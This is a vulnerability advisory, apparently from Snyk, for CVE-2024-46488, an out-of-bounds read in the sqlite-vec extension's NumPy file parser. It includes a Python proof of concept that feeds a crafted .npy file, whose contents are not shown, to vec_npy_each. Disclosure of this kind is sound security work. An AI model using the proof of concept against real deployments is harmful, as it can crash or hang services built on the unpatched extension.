Out-of-bounds Read Affecting asg017/sqlite-vec package, versions [0,]
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applications- Snyk IDSNYK-UNMANAGED-ASG017SQLITEVEC-8097311
- published26 Sept 2024
- disclosed25 Sept 2024
- creditVulnSphere
Introduced: 25 Sep 2024
CVE-2024-46488 (opens in a new tab)How to fix?
There is no fixed version for asg017/sqlite-vec.
Overview
Affected versions of this package are vulnerable to Out-of-bounds Read via the npy_token_next function. An attacker can cause a program to crash or become unresponsive by supplying a specially crafted file.
PoC
import sqlite3
def execute_all(cursor, sql, args=None):
if args is None:
args = []
results = cursor.execute(sql, args).fetchall()
return list(map(lambda x: dict(x), results))
def connect(ext, path=":memory:", extra_entrypoint=None):
db = sqlite3.connect(path)
db.enable_load_extension(True)
db.load_extension(ext)
db.row_factory = sqlite3.Row
return db
db = connect("./dist/vec0")
vec_npy_each_f = lambda *args: execute_all(
db, "select * from vec_npy_each(?)", args
)
with open("./poc.npy", "rb") as f:
data = f.read()
print(vec_npy_each_f(data))